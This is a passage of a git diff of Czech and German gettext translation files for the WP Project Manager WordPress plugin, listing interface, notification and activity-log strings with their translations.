views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +# @ cpm +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Zobrazit projekt" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +# @ cpm +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Aktualizovat seznam" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +# @ cpm +#~ msgid "Project created by %s" +#~ msgstr "Projekt vytvořil %s" + +# @ cpm +#~ msgid "Project details updated by %s" +#~ msgstr "Detaily projektu upravil %s" + +#~ msgid "Message with ID %d was not found in the database" +#~ msgstr "Zpráva s ID %d nebyla v databázi nalezena" + +# @ cpm +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Zprávu \"%s\" ostranil %s" + +# @ cpm +#~ msgid "%s deleted a comment" +#~ msgstr "%s smazal komentář" + +# @ cpm +#~ msgid "Add a comment..." +#~ msgstr "Přidat komentář..." + +# @ cpm +#~ msgid "Messages" +#~ msgstr "Zprávy" + +# @ cpm +#~ msgid "message post type" +#~ msgstr "druh příspěvky zpráva" + +# @ cpm +#~ msgid "Edit Message" +#~ msgstr "Upravit zprávu" + +# @ cpm +#~ msgid "Search Messages" +#~ msgstr "Hledat zprávu" + +# @ cpm +#~ msgid "Parent Message" +#~ msgstr "Nadřazená zpráva" + +# @ cpm +#~ msgid "Add New Milestone" +#~ msgstr "Vytvořit cíl" + +# @ cpm +#~ msgid "New Milestone" +#~ msgstr "Nový cíl" + +# @ cpm +#~ msgid "View Milestone" +#~ msgstr "Zobrazit cíl" + +# @ cpm +#~ msgid "Search Milestone" +#~ msgstr "Hledat cíl" + +# @ cpm +#~ msgid "Parent Milestone" +#~ msgstr "Nadřazený cíl" + +# @ cpm +#~ msgid "project manager post type" +#~ msgstr "příspěvky projektového manažera" + +# @ cpm +#~ msgid "Add Project" +#~ msgstr "Přidat projekt" + +# @ cpm +#~ msgid "Edit Project" +#~ msgstr "Upravit projekt" + +# @ cpm +#~ msgid "Search Project" +#~ msgstr "Hledat projekt" + +# @ cpm +#~ msgid "Parent Project" +#~ msgstr "Nadřazený projekt" + +# @ cpm +#~ msgid "Add Task List" +#~ msgstr "Přidat seznam úkolů" + +# @ cpm +#~ msgid "Add New Task List" +#~ msgstr "Vytvořit seznam úkolů" + +# @ cpm +#~ msgid "Edit Task List" +#~ msgstr "Upravit seznam úkolů" + +# @ cpm +#~ msgid "View Task List" +#~ msgstr "Zobrazit seznam úkolů" + +# @ cpm +#~ msgid "Search Task List" +#~ msgstr "Hledat seznam úkolů" + +# @ cpm +#~ msgid "Parent Task List" +#~ msgstr "Nadřazený seznam úkolů" + +# @ cpm +#~ msgid "Add New Task" +#~ msgstr "Vytvořit úkol" + +# @ cpm +#~ msgid "Edit Task" +#~ msgstr "Upravit úkol" + +# @ cpm +#~ msgid "New Task" +#~ msgstr "Nový úkol" + +# @ cpm +#~ msgid "Search Task" +#~ msgstr "Hledat úkol" + +# @ cpm +#~ msgid "Parent Task" +#~ msgstr "Nadřazený úkol" + +#~ msgid "Pro Version" +#~ msgstr "PRO verze" + +#~ msgid "Add-ons" +#~ msgstr "Doplňky" + +#~ msgid "Installed" +#~ msgstr "Nainstalováno" + +# @ cpm +#~ msgid "View Details" +#~ msgstr "Zobrazit podrobnosti" + +#~ msgid "Error fetching add-ons. Please try again later!" +#~ msgstr "Chyba při načítání doplňků. Prosím zkuste to později!" + +# @ cpm +#~ msgid "Delete project" +#~ msgstr "Odstranit projekt" + +# @ cpm +#~ msgid "Add this comment" +#~ msgstr "Přidat tento komentář" + +# @ cpm +#~ msgid "late" +#~ msgstr "pozdě" + +# @ cpm +#~ msgid "Attached to
%s by %s" +#~ msgstr "%s přiložil %s" + +# @ cpm +#~ msgid "Error: Message not found" +#~ msgstr "Chyba: Zpráva nenalezena" + +# @ cpm +#~ msgid "Error: Project not found" +#~ msgstr "Chyba: Projekt nenalezen" + +# @ cpm +#~ msgid "Error: Permission denied" +#~ msgstr "Chyba: Přístup zamítnut" + +# @ cpm +#, fuzzy +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 komentář" +#~ msgstr[1] "1 komentář" +#~ msgstr[2] "1 komentář" + +# @ cpm +#~ msgid "Message %s created by %s" +#~ msgstr "Zprávu %s vytvořil %s" + +# @ cpm +#~ msgid "Message %s updated by %s" +#~ msgstr "Zprávu %s aktualizoval %s" + +# @ cpm +#~ msgid "To-do list %s created by %s" +#~ msgstr "Seznam nedodělků %s vytvořil %s" + +# @ cpm +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Seznam nedodělků %s aktualizoval %s" + +# @ cpm +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Seznam nedodělků \"%s\" odstranil %s" + +# @ cpm +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Nedodělek %s přidal %s do seznamu nedodělků %s" + +# @ cpm +#~ msgid "To-do %s updated by %s" +#~ msgstr "Nedodělek %s aktualizoval %s" + +# @ cpm +#~ msgid "To-do %s completed by %s" +#~ msgstr "Nedodělek %s dokončil %s" + +# @ cpm +#~ msgid "Marked to-do as done" +#~ msgstr "Označit nedodělak za splněný" + +# @ cpm +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Nedodělek %s označil %s jako nesplněný" + +# @ cpm +#~ msgid "Re-opened to-do" +#~ msgstr "Znovuotevřené nedodělky" + +# @ cpm +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Nedodělek \"%s\" smazal %s ze seznamu nedodělků %s" + +# @ cpm +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Cíl \"%s\" vytvořil %s " + +# @ cpm +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Cíl \"%s\" aktualizoval %s " + +# @ cpm +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Cíl \"%s\" smazal %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Cíl \"%s\" označil %s za splněný" + +# @ cpm +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Cíl \"%s\" označil %s za nesplněný" + +# @ cpm +#~ msgid "General" +#~ msgstr "Obecné" + +#~ msgid "- select -" +#~ msgstr "- vyberte -" + +# @ cpm +#~ msgid "No Messages Found" +#~ msgstr "Žádná zpráva nebyla nalezena" + +# @ cpm +#~ msgid "No Messages Found in Trash" +#~ msgstr "V koši nebyla nalezena žádná zpráva" + +# @ cpm +#~ msgid "No Milestone Found" +#~ msgstr "Žádný cíl nebyl nalezen" + +# @ cpm +#~ msgid "No Milestone Found in Trash" +#~ msgstr "V koši nebyl nalezen žádný cíl" + +# @ cpm +#~ msgid "No Project Found in Trash" +#~ msgstr "V koši nebyl nalezen žádný projekt" + +# @ cpm +#~ msgid "No Task List Found" +#~ msgstr "Žádný seznam úkolů nebyl nalezen" + +# @ cpm +#~ msgid "No Task List Found in Trash" +#~ msgstr "V koši nebyl nalezen žádný seznam úkolů" + +# @ cpm +#~ msgid "No Task Found" +#~ msgstr "Žádný úkol nebyl nalezen" + +# @ cpm +#~ msgid "No Task Found in Trash" +#~ msgstr "V koši nebyl nalezen žádný úkol" + +# @ cpm +#~ msgid "Select co-workers" +#~ msgstr "Vybrat spolupracovníky" + +# @ cpm +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Jste si jist(a), že chcete odstranit tento nedodělek." + +# @ cpm +#~ msgid "Add this to-do" +#~ msgstr "Vytvořit tento nedodělek" + +# @ cpm +#~ msgid "Add a new to-do" +#~ msgstr "Vytvořit nový nedodělek" + +# @ cpm +#~ msgid "-- milestone --" +#~ msgstr "-- cíl --" + +# @ cpm +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Jste si jist(a), že chcete odstranit tento seznam nedodělků?" + +# @ cpm +#~ msgid "Update comment" +#~ msgstr "Aktualizovat komentář" + +# @ cpm +#~ msgid "Edit milestone" +#~ msgstr "Upravit cíl" + +# @ cpm +#~ msgid "Mark un-complete" +#~ msgstr "Označit jako nesplněný" + +# @ cpm +#~ msgid "To-do List" +#~ msgstr "Seznam nedodělků" + +# @ cpm +#~ msgid "Notify Co-workers" +#~ msgstr "Upozornit spolupracovníky" + +# @ cpm +#~ msgid "thread" +#~ msgstr "vlákno" + +# @ cpm +#~ msgid "One Comment" +#~ msgid_plural "%s Comments" +#~ msgstr[0] "%s komentář" +#~ msgstr[1] "%s komentáře" +#~ msgstr[2] "%s komentářů" + +# @ cpm +#~ msgid "Discuss this to-do list" +#~ msgstr "Komentovat tento seznam nedodělků" + +# @ default +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "velikost souboru v MB. např. 2" + +# @ cpm +#~ msgid "New Project Subject" +#~ msgstr "Předmět nového projektu" + +# @ cpm +#~ msgid "New Project Body" +#~ msgstr "Tělo nového projektu" + +# @ cpm +#~ msgid "New Message Subject" +#~ msgstr "Předmět nové zprávy" + +# @ cpm +#~ msgid "New Message Body" +#~ msgstr "Tělo nové zprávy" + +# @ cpm +#~ msgid "New Comment Subject" +#~ msgstr "Předmět nového komentáře" + +# @ cpm +#~ msgid "New Assigned Task Subject" +#~ msgstr "Předmět nově přiřazeného úkolu" + +# @ cpm +#~ msgid "WP Project Manager - add-ons" +#~ msgstr "Manažer projektu - doplňky" + +# @ cpm +#~ msgid "-- assign to --" +#~ msgstr "-- přiřadit (komu) --" + +# @ cpm +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Vyberte soubory, které " +#~ "chcete přiložit z vašeho počítače. " + +# @ cpm +#~ msgid "%d message" +#~ msgid_plural "%d messages" +#~ msgstr[0] "%d zpráva" +#~ msgstr[1] "%d zprávy" +#~ msgstr[2] "%d zpráv" + +# @ cpm +#~ msgid "%d to-do list" +#~ msgid_plural "%d to-do lists" +#~ msgstr[0] "%d seznam nedodělků" +#~ msgstr[1] "%d seznamy nedodělků" +#~ msgstr[2] "%d seznamů nedodělků" + +# @ cpm +#~ msgid "%d to-do" +#~ msgid_plural "%d to-dos" +#~ msgstr[0] "%d nedodělek" +#~ msgstr[1] "%d nedodělky" +#~ msgstr[2] "%d nedodělků" + +# @ cpm +#~ msgid "%d milestone" +#~ msgid_plural "%d milestones" +#~ msgstr[0] "%d cíl" +#~ msgstr[1] "%d cíle" +#~ msgstr[2] "%d cílů" + +# @ cpm +#~ msgid "%d Comments" +#~ msgstr "%d komentářů" + +# @ cpm +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Dokončil %s, %s." + +# @ cpm +#~ msgid "Tasklist name" +#~ msgstr "Jméno seznamu úkolů" + +# @ cpm +#~ msgid "Add a to-do" +#~ msgstr "Vytvořit nedodělek" + +# @ cpm +#~ msgid "Message details here" +#~ msgstr "Zobrazit podrobnosti zprávy" + +# @ cpm +#~ msgid "Details about milestone (optional)" +#~ msgstr "Podrobnosti o cíli (nepovinné)" + +# @ cpm +#~ msgid "Reopen" +#~ msgstr "Znovuotevřít" + +# @ cpm +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Stáhněte soubor nebo zobrazte diskuzi." + +# @ cpm +#~ msgid "No Files Found!" +#~ msgstr "Nebyly nalezeny žádné soubory!" + +# @ cpm +#~ msgid "Add New" +#~ msgstr "Přidat nový" + +# @ cpm +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Žádné zprávy! Chcete nějakou přidat?" + +# @ cpm +#~ msgid "← back" +#~ msgstr "← zpět" + +# @ cpm +#~ msgid "No Milestone Found!" +#~ msgstr "Nebyl nalezen žádný cíl!" + +# @ cpm +#~ msgid "Add new milestone" +#~ msgstr "Přidat nový cíl" + +# @ cpm +#~ msgid "Project Info" +#~ msgstr "Informace o projektu" + +# @ cpm +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Chyba, žádný seznam nedodělků nebyl nalezen." + +# @ cpm +#~ msgid "Discuss this to-do" +#~ msgstr "Diskuze o nedodělku" diff --git a/languages/wedevs-project-manager-de_DE.po b/languages/wedevs-project-manager-de_DE.po index ba917d033..5351b2f11 100644 --- a/languages/wedevs-project-manager-de_DE.po +++ b/languages/wedevs-project-manager-de_DE.po @@ -1,2320 +1,2320 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager v0.4.2\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:46+0600\n" -"Last-Translator: Alexander Pfabel \n" -"Language-Team: \n" -"Language: de_DE\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=2; plural=n != 1;\n" -"X-Generator: Poedit 2.0.8\n" -"X-Poedit-SourceCharset: utf-8\n" -"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" -"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" -"X-Poedit-Basepath: ..\n" -"X-Textdomain-Support: yes\n" -"X-Poedit-SearchPath-0: .\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Nachricht" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Aufgabenliste" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Aufgabe" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Dateien" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Projekt aktualisieren" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -# @ cpm -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Mehr laden..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -# @ default -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Erlaubte Dateien" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -# @ cpm -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Einstellungen" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -# @ cpm -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Projektmanager" - -# @ cpm -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projekte" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -# @ cpm -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Aufgabenlistendetail" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -# @ cpm -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -# @ cpm -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s kommentierte bei %s" - -# @ cpm -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s aktualsierte Kommentirung von %s" - -# @ cpm -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s 